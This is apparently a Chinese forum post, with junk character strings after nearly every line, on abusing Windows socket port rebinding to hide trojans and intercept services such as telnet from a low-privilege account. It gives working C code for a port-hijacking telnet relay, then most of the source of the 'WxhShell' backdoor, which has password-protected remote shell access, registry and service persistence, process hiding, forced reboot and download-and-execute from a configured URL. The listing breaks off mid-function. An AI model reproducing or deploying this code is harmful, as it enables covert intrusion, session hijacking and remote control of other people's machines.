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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [A?Dx-R;(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bmT_tNz  
V @A+d[  
  saddr.sin_family = AF_INET; \2(Uqf#_  
`9a %vN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "oZ-W?IKE  
6-U+<[,x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \F;V69'  
\_pP:e  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 XUT,)dL  
E 5D5  
  这意味着什么?意味着可以进行如下的攻击: aqq7u5O1r  
3n;UXYJ%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hj@< wU  
gs)wQgJ[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !|hxr#q=4  
>p4#AfGF  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 M>+FIb(  
&kKopJH  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6 /^$SWd2  
',L>UIXw  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0 e 1W&  
SoZ$1$o2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Mg? ^5`*  
h2g|D(u)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ">vxYi  
!+tz<9BBY  
  #include 4.|-?qG  
  #include j4j %r(  
  #include QXZjsa_|  
  #include    s`W\`w}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7`;55Se  
  int main() ~kUdHne (  
  { XXsN)2  
  WORD wVersionRequested; KE3/sw0  
  DWORD ret; XQAdb"`  
  WSADATA wsaData; yyke"D  
  BOOL val; T =r7FU  
  SOCKADDR_IN saddr; {3@lvoDT  
  SOCKADDR_IN scaddr; 40}qf}8n t  
  int err; w '?xewx  
  SOCKET s; &z[39Q{~  
  SOCKET sc; NF`WA-W8@  
  int caddsize; O,(p><k$/  
  HANDLE mt; Ox;q +5  
  DWORD tid;   Kbjt  CI7  
  wVersionRequested = MAKEWORD( 2, 2 ); 7'pCFeA>=T  
  err = WSAStartup( wVersionRequested, &wsaData ); jE!<]   
  if ( err != 0 ) { _:ypPR J  
  printf("error!WSAStartup failed!\n"); `6:;*#jO,  
  return -1;  B9IqX  
  } zlC|Spaf  
  saddr.sin_family = AF_INET; j0b?dKd  
   SE= 3`rVJ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 j+0=)Q%I=  
8F|8zX&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); o:E+c_^q`  
  saddr.sin_port = htons(23); smEKQHB  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rW$ )f  
  { u^H:z0  
  printf("error!socket failed!\n"); JBa( O- T  
  return -1; 1<#J[$V  
  } .]+Z<5Fo  
  val = TRUE; !yAg!V KY  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5 _X|U*+5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [ iE%P^  
  { !~5;Jb>s[/  
  printf("error!setsockopt failed!\n"); HMsTm}d  
  return -1; `Oz c L  
  } TCAtb('D  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 49b#$Xq  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &|('z\k  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 n(^{s5 Rr  
bQG2tDvu[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D 3m4:z  
  { .{+<o  
  ret=GetLastError(); &oJ=   
  printf("error!bind failed!\n"); KKm &~^c  
  return -1; wYnsd7@I  
  } 4$Oakl*l  
  listen(s,2); m89-rR:Kc  
  while(1) Y<%)Im6v/  
  { ;ru=z@  
  caddsize = sizeof(scaddr); f\+MnZ4[Qj  
  //接受连接请求 >r+Dl\R  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q]WjW'Ry\  
  if(sc!=INVALID_SOCKET) g{K*EL <  
  { ceN*wkGyB  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); emp*j@9  
  if(mt==NULL) a4HUP*  
  { H^ _[IkuA%  
  printf("Thread Creat Failed!\n"); 4QbDDvRQ^  
  break; ^Glmg}>q  
  } &Rw4ub3  
  } ql, k5.l  
  CloseHandle(mt); (. ~#bl  
  } bdh6ii  
  closesocket(s); ;Awt:jF  
  WSACleanup(); 5B3S]@%  
  return 0; 3 @XkO  
  }   ! 6yo D  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6gz !K"S  
  { .&O}/B  
  SOCKET ss = (SOCKET)lpParam; {+~}iF<%  
  SOCKET sc; ;Z]i$Vi_r  
  unsigned char buf[4096]; TVVL1wZ  
  SOCKADDR_IN saddr; hwkm'$}  
  long num; po@=$HK  
  DWORD val; tU2 8l.  
  DWORD ret; /wplP+w2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 G gmv(!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   HGqT"N Jr  
  saddr.sin_family = AF_INET; YTH3t] &  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \9Nd"E[B  
  saddr.sin_port = htons(23); $'D|}=h<Y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ut8v&i1?  
  { ;&B;RUUnTO  
  printf("error!socket failed!\n"); 3F fS2we  
  return -1; V 8`o71p  
  } eZes) &4  
  val = 100; 9 cU]@j}2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J^tLKTB  
  { )}QtK+Rq  
  ret = GetLastError(); x6Q,$B  
  return -1; r;}%} /IX  
  } 1<y(8C6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +&?#Gdb  
  { A1Tk6i<F1  
  ret = GetLastError(); "G. L)oD  
  return -1; cMxuG'{=.  
  } )kLTyx2&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) W Z'UVUi8  
  { \\Ps*HN  
  printf("error!socket connect failed!\n"); D@9adwQb  
  closesocket(sc); )+;Xfftz  
  closesocket(ss); W"j&':xD  
  return -1; ;S Re`  
  } (+SfDL$m  
  while(1) :x"Q[079  
  { #{-l(016y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 * E$&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 38<!Dt+S(,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 DIrQ5C  
  num = recv(ss,buf,4096,0); 3 !W M'i  
  if(num>0) CK4C:`YG  
  send(sc,buf,num,0); TmI~P+5w  
  else if(num==0) FbH 1yz  
  break; VK>ZH^-  
  num = recv(sc,buf,4096,0); \NE~k)`4j%  
  if(num>0) klkshlk d  
  send(ss,buf,num,0); h- )tWJ c  
  else if(num==0) *F:f\9   
  break; SUv(MA&  
  } XcN"orAo  
  closesocket(ss); p6)Jzh_/  
  closesocket(sc); ]70V  
  return 0 ; )4h4ql W  
  } .%~m|t+Rt  
D(bQFRBY6"  
B?bdHO:E~  
========================================================== ck0K^o v  
FU]jI[  
下边附上一个代码,,WXhSHELL p./9^S  
ngmHiI W  
========================================================== ,3+#?H  
UNK}!>HD  
#include "stdafx.h" _.)6~  
2c)Ez?  
#include <stdio.h> {=3&_/9s){  
#include <string.h> ~w Ekbq=  
#include <windows.h> r}?uZ"]=?  
#include <winsock2.h> Mk-zeq<2z  
#include <winsvc.h> z89!\Q  
#include <urlmon.h> pNt,RRoR  
"rHcsuSEw  
#pragma comment (lib, "Ws2_32.lib") 4i]h0_]  
#pragma comment (lib, "urlmon.lib") $, I%g<  
4%refqWK  
#define MAX_USER   100 // 最大客户端连接数 @Z}TF/Rx4  
#define BUF_SOCK   200 // sock buffer ' ozu4y  
#define KEY_BUFF   255 // 输入 buffer _ tba:a(  
t3P$UR%  
#define REBOOT     0   // 重启 0j\} @  
#define SHUTDOWN   1   // 关机 }\#u~k!l  
msf%i!  
#define DEF_PORT   5000 // 监听端口 t%S2D  
7XM:4whw  
#define REG_LEN     16   // 注册表键长度 ;W~H|M  
#define SVC_LEN     80   // NT服务名长度 Bp:PAy  
$kAal26z  
// 从dll定义API SN#Cnu}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w20)~&LE-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1n3XB+*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J 2H$ALl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a_z1S Z2[  
V*d@@%u**  
// wxhshell配置信息 uT#4"G9A[  
struct WSCFG { y=HM]EH>  
  int ws_port;         // 监听端口 !-tP\%'  
  char ws_passstr[REG_LEN]; // 口令 (R^qY"H 2  
  int ws_autoins;       // 安装标记, 1=yes 0=no =Z /*  
  char ws_regname[REG_LEN]; // 注册表键名 DH9p1)L'  
  char ws_svcname[REG_LEN]; // 服务名 _&SST)Y|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7!;48\O]w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i]$/& /  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %4$J.6M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L9Z\|L5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bJ!(co6t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ka c-@  
qh~$AJ9sB  
}; +o3 ZQ9  
5K#<VU*:  
// default Wxhshell configuration Pl/B#Sbf'  
struct WSCFG wscfg={DEF_PORT, MkK6.qV\z  
    "xuhuanlingzhe", r-e-2y7  
    1, K^m`3N"  
    "Wxhshell", s=8$h:^9>  
    "Wxhshell", {3@"}Eh  
            "WxhShell Service", KFhnv`a.0  
    "Wrsky Windows CmdShell Service", j=kz^o~mH  
    "Please Input Your Password: ", Nu,t,&B   
  1, APUpqY  
  "http://www.wrsky.com/wxhshell.exe", tBjMm8lgb  
  "Wxhshell.exe" Ewq7oq5:  
    }; -IE=?23Do?  
werTwe2Q  
// 消息定义模块 E0t%]?1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; UA3!28Y&E3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W.sH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .VA'W16  
char *msg_ws_ext="\n\rExit."; KN< KZM  
char *msg_ws_end="\n\rQuit."; tq.g4X ;_  
char *msg_ws_boot="\n\rReboot..."; ]|8*l]oc  
char *msg_ws_poff="\n\rShutdown..."; Sp-M:,H3H  
char *msg_ws_down="\n\rSave to "; Yu+;vjbK-  
[M#I Nm}  
char *msg_ws_err="\n\rErr!"; *|B5,Ey  
char *msg_ws_ok="\n\rOK!"; gR 76g4|=;  
dUc?>#TU  
char ExeFile[MAX_PATH]; 3kJ7aBiR<  
int nUser = 0; lz:+y/+1  
HANDLE handles[MAX_USER];  __Egr@  
int OsIsNt; YgLHp/  
GswV/V+u  
SERVICE_STATUS       serviceStatus; R+<M"LriR&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N"Cd{3  
WqRaD=R->;  
// 函数声明 K<vb4!9Z9  
int Install(void); Hdda/?{b  
int Uninstall(void); zlhU[J}"1|  
int DownloadFile(char *sURL, SOCKET wsh); }>yQ!3/i  
int Boot(int flag); F7&Oc)f"B  
void HideProc(void); W61nJ7@  
int GetOsVer(void); Ksb55cp`  
int Wxhshell(SOCKET wsl); ;\54(x}|K  
void TalkWithClient(void *cs); z)fg>?AGr  
int CmdShell(SOCKET sock); yP"D~u  
int StartFromService(void); ./_4D}  
int StartWxhshell(LPSTR lpCmdLine); S]<%^W'  
OV`#/QL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UNCI"Mjb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); um=qT)/D  
4<A+Tf  
// 数据结构和表定义 K!O7q~s[D  
SERVICE_TABLE_ENTRY DispatchTable[] = -&0HAtc  
{ ' fka?lL  
{wscfg.ws_svcname, NTServiceMain}, 9RQw6rL  
{NULL, NULL} w9,w?%F  
}; CuA A)Bj  
V\/5H~L  
// 自我安装 @u1mC\G  
int Install(void) J%1 2Ey@6  
{ 1z-Q~m@@  
  char svExeFile[MAX_PATH]; 9$=o({  
  HKEY key; -!-1X7v|Fp  
  strcpy(svExeFile,ExeFile); 8C4v  
m%.7l8vT  
// 如果是win9x系统,修改注册表设为自启动 zuYz"-(L  
if(!OsIsNt) { x}7`Q:k=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X+'B*K$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %&&;06GU}  
  RegCloseKey(key); ZJ'FZ8Sx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _8s1Wh G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $@eFSA5k,7  
  RegCloseKey(key); 6B&ERdoX  
  return 0; G0Wv=tX|  
    } K&;;{~md.  
  } ]GmXZi  
} j9 O"!9$vQ  
else { e"]DIy4s  
x0ICpt{;  
// 如果是NT以上系统,安装为系统服务 #RTiWD[o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oF=UjA  
if (schSCManager!=0) U,tWLX$@  
{  cE7IHQ  
  SC_HANDLE schService = CreateService o0FVVSl  
  ( u;H5p\zAzz  
  schSCManager, 6#(rWW "_  
  wscfg.ws_svcname, ,H:{twc   
  wscfg.ws_svcdisp, 9Fh1rZD<  
  SERVICE_ALL_ACCESS, |YK4V(5x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C^9bur/  
  SERVICE_AUTO_START, la*c/*  
  SERVICE_ERROR_NORMAL, (nt=  
  svExeFile, q|xic>.  
  NULL, )kt,E}609  
  NULL, `dm}|$X|  
  NULL, $?dutbE  
  NULL, KO&oT#S  
  NULL ]V.0%Ccw;.  
  ); xYD.j~  
  if (schService!=0) vj+ S  
  { ">'`{mXew  
  CloseServiceHandle(schService); (7?jjH^4  
  CloseServiceHandle(schSCManager); !/6KQdF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '/ GZ,~q  
  strcat(svExeFile,wscfg.ws_svcname); O`2hTY\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #_4JTGJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2R`/Oox   
  RegCloseKey(key); @ >Ul0&Mf?  
  return 0; zH1:kko  
    } Q2RO&dL 9  
  } vw/X  
  CloseServiceHandle(schSCManager); x[1( cj  
} BZs?tbf  
} \"AzT{l!;  
zR6^rq*  
return 1; % #-'|~  
} 6),VN>j  
"&N1$$  
// 自我卸载 "|%'/p  
int Uninstall(void) `'}c- Q  
{ 2[TssJQ  
  HKEY key; :P: OQ[$  
 mIkc +X  
if(!OsIsNt) { vGI?X#w3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D?@e,e  
  RegDeleteValue(key,wscfg.ws_regname); @g==U{k;t  
  RegCloseKey(key); 7 J+cs^2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2` j#eB1  
  RegDeleteValue(key,wscfg.ws_regname); s5D<c'-  
  RegCloseKey(key); -40OS=wpA  
  return 0; -8D$[@y(  
  } =3<@{^Eg  
} N[8y+2SZ  
} [" nDw<U  
else { ?R\:6x<  
dT4e[4l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =~F.7wq*^  
if (schSCManager!=0) DTp|he  
{ 6n5>{X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HA::(cXL  
  if (schService!=0) HT6+OK(~dJ  
  { us3fBY'  
  if(DeleteService(schService)!=0) { pi?[jU[Tn  
  CloseServiceHandle(schService); ,?ci+M)  
  CloseServiceHandle(schSCManager); z{ydP Ra  
  return 0; XbL\l  
  } G2e0\}q  
  CloseServiceHandle(schService); `Wy8g?d;bn  
  } 6<+8[o  
  CloseServiceHandle(schSCManager); /;\{zA$uC=  
} YMTB4|{  
} { 0 vHgi  
eE-c40Bae  
return 1; 0Rze9od]$  
} l1wYN,rv  
:c^9\8S  
// 从指定url下载文件 kG70j{gf  
int DownloadFile(char *sURL, SOCKET wsh) $jtXN E?  
{ Gp5=cV'k  
  HRESULT hr; s5SKQ#,@P  
char seps[]= "/"; ( R0>0f@  
char *token; nlaeo"]  
char *file; ~Y /55uC  
char myURL[MAX_PATH]; 1E|~;wo\  
char myFILE[MAX_PATH]; rP7~ R  
 t_Rpeav  
strcpy(myURL,sURL); /pOK4"  
  token=strtok(myURL,seps); r%^J3  
  while(token!=NULL) @[(<oX%  
  { "f-z3kL  
    file=token; 2h^9lrQcQG  
  token=strtok(NULL,seps); H&3i[D!p  
  } {9yW8&m  
 T%p/(  
GetCurrentDirectory(MAX_PATH,myFILE); )i{B:w\ ^  
strcat(myFILE, "\\"); =(U&?1R4  
strcat(myFILE, file); c<J/I_!  
  send(wsh,myFILE,strlen(myFILE),0); WG?;Z  
send(wsh,"...",3,0); soi.`xE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X9xXL%Q  
  if(hr==S_OK) BV`,~n:  
return 0; M,j3z #  
else h,WF'X+  
return 1; }9,^=g-  
A/+bwCDP  
} _]~= Kjp  
jQLiqi`  
// 系统电源模块 (hv>vfY@  
int Boot(int flag) 5gnmRd  
{ ;zc,vs  
  HANDLE hToken; ON~K(O2g(  
  TOKEN_PRIVILEGES tkp; l{b*YUsz>  
BvA09lK  
  if(OsIsNt) { XK7$Xbd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5v@-.p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ywS2` (  
    tkp.PrivilegeCount = 1; qq1@v0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z}*{4V`R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1__Mf.A  
if(flag==REBOOT) { $7bl,~Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /o)o7$6Q  
  return 0; fX[6  {  
} Z?}yPs Ob  
else { f.cQp&&]r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a6&+>\o  
  return 0; E0Neo _7  
}  !Hp H  
  } CYCG5)<9  
  else { L[s8`0  
if(flag==REBOOT) { KnjowK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4v("qNw#  
  return 0; bEz1@"~ p  
} %]15=7#'y  
else { 5/>W(,5}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PF4"J^V  
  return 0; 0nbQKoF  
} *>,CG:`D  
} V<+= t{  
j~a"z40  
return 1; 6YCFSvA#/  
} k-uwK-B}v+  
rIg5Wcd  
// win9x进程隐藏模块 @h&crI[c  
void HideProc(void) ?U PZ49y  
{ n,E =eNc  
|VPJaiC~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vS$_H<;P  
  if ( hKernel != NULL ) `0qBuE_^h  
  { P b(XR+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .h;PMY+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *+wGXm  
    FreeLibrary(hKernel); Pfv| K;3i  
  } ue;o:>G  
m.K@g1G  
return; ^XIVWf#`H  
} ;=?f0z<  
dmkd.aP4  
// 获取操作系统版本 &S8Pnb)d  
int GetOsVer(void) zAxscD f'  
{ E =7m@"0  
  OSVERSIONINFO winfo; I|#1u7X%]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \~#$$Q-qtU  
  GetVersionEx(&winfo); ;HOOo>%_K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -!kfwJg8N(  
  return 1; =h<LlI^v  
  else v_$'!i$  
  return 0; Gc'CS_L  
} lW!}OzE(m  
)O~V3a  
// 客户端句柄模块 \z4I'"MC.9  
int Wxhshell(SOCKET wsl) #`>46T  
{ #s-^4znv9  
  SOCKET wsh; dD Zds k+!  
  struct sockaddr_in client; HaUfTQ8  
  DWORD myID; ZM~kc|&  
PU6Sa-fQ2,  
  while(nUser<MAX_USER) mimJ_=]DC  
{ 0xe!tA  
  int nSize=sizeof(client); tL;!!vg#V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LXm5f;  
  if(wsh==INVALID_SOCKET) return 1; d\R]>  
fW,,@2P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b& l/)DU  
if(handles[nUser]==0) }c"1;C&{  
  closesocket(wsh); jv C.T]<B  
else .=nx5y z  
  nUser++; +@QN)ZwVy  
  } 6Wm`Vj(s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |"Rl_+d7D  
jBTXs5q  
  return 0; J9kmIMq-C  
} FHu -';  
c~1X/,biA  
// 关闭 socket nS53mLU)  
void CloseIt(SOCKET wsh) *,UD&N_)*6  
{ i"h '^6M1  
closesocket(wsh); )<kI d4E  
nUser--; 0M'[|ci d|  
ExitThread(0); VGVZ`|  
} [CBhipoc  
QBNnvg4v  
// 客户端请求句柄 b~1]}9TJ  
void TalkWithClient(void *cs) }nQni?  
{ Jf/X3\0N7  
mv,<#<-W  
  SOCKET wsh=(SOCKET)cs; "K"]/3`k-  
  char pwd[SVC_LEN]; KVvzVQ1  
  char cmd[KEY_BUFF]; h27awO Q  
char chr[1]; F%8W*Y699  
int i,j; TH`zp]0  
_ 2WG6y;  
  while (nUser < MAX_USER) { |7K[+aK  
qNLG-m,n<  
if(wscfg.ws_passstr) { ~1NK@=7T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2 f" =f^rf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }w#Ek=,s#o  
  //ZeroMemory(pwd,KEY_BUFF); p;GT[Ds^  
      i=0; DRBRs-D  
  while(i<SVC_LEN) { +0,{gDd+  
u]B15mT?  
  // 设置超时 Tk^J#};N  
  fd_set FdRead; 5i+0GN3nd  
  struct timeval TimeOut; \uumNpB*n  
  FD_ZERO(&FdRead); f?ImQYqP  
  FD_SET(wsh,&FdRead); nZfU:N  
  TimeOut.tv_sec=8; <*g!R!  
  TimeOut.tv_usec=0; b;N[_2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tj:Q]]\M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b)SU8z!NV&  
8fn7!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PjH[8:,  
  pwd=chr[0]; PFqc_!Pm  
  if(chr[0]==0xd || chr[0]==0xa) { "w)Y0Qq*z  
  pwd=0; _86#$|kw  
  break; Q Eh_2  
  } Y4\BHFq  
  i++; acSm+t  
    } _?vh#6F  
"!9hcv- ;  
  // 如果是非法用户,关闭 socket Gj~1eS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t3#My2=  
} \k#|5W  
an4^(SY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,~R`@5+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BVKr 2v  
+@'{  
while(1) { 2\$P&L a  
|M*jo<C  
  ZeroMemory(cmd,KEY_BUFF); ,ZpcvK/S  
Zy}Qc")Z  
      // 自动支持客户端 telnet标准   D^?jLfW8  
  j=0; vZgV/?'z  
  while(j<KEY_BUFF) { ^V DJGBk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n~1'M/wh  
  cmd[j]=chr[0]; LDj'L~H  
  if(chr[0]==0xa || chr[0]==0xd) { wkn r^A  
  cmd[j]=0; ')d&:K*M  
  break; NF}QQwG3  
  } $[L8UUHY<8  
  j++; $`2rtF  
    } fZ9EE3  
yj^LX2x"  
  // 下载文件 ArFsr  
  if(strstr(cmd,"http://")) { Kk}|[\fW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m3apeIEi[  
  if(DownloadFile(cmd,wsh)) h\oAW?^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kQ,#NR/q6  
  else }!5x1F!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B!`Dj,_  
  } P87!+pB(  
  else { h>'9-j6B  
F{:ZHCm  
    switch(cmd[0]) { )HrFWI'Y  
  m])!'Pa( =  
  // 帮助 /Hox]r]'e  
  case '?': { Dq#/Uw#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |H:JwxH  
    break; O'6zV"<P  
  } p.r \|  
  // 安装 Zz"b&`K  
  case 'i': { ")/TbT Vu  
    if(Install()) hX-([o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vv2N;/;I  
    else y_^w|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _RLx;Tn)L  
    break; 9,?\hBEu  
    } Lx{bR=  
  // 卸载 KGMX >t'  
  case 'r': { `y&d  
    if(Uninstall()) ]=s!cfu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o/EN3J  
    else GM.2bA(y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h8b*=oq  
    break; s6#@S4^=\  
    } ZS&n,<a5L}  
  // 显示 wxhshell 所在路径 -=W"  
  case 'p': { 63s<U/N  
    char svExeFile[MAX_PATH]; +N161vo7  
    strcpy(svExeFile,"\n\r"); ?[$=5?  
      strcat(svExeFile,ExeFile); BrW1:2w >\  
        send(wsh,svExeFile,strlen(svExeFile),0); ;2o+|U@  
    break; pK)*{fC$`  
    } '}3m('u  
  // 重启 "[`.I*WNo  
  case 'b': { 'C l}IDF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rAc Yt9M#  
    if(Boot(REBOOT)) sU {'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %5N;SRtv  
    else { @WppiZ$  
    closesocket(wsh); +%Vbz7+!  
    ExitThread(0); ;z6Gk&?  
    } JvA6kw,  
    break; omxBd#;F$  
    } PGT*4r21  
  // 关机 @W\y#5"B  
  case 'd': { #n=b*.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kzA%.bP|  
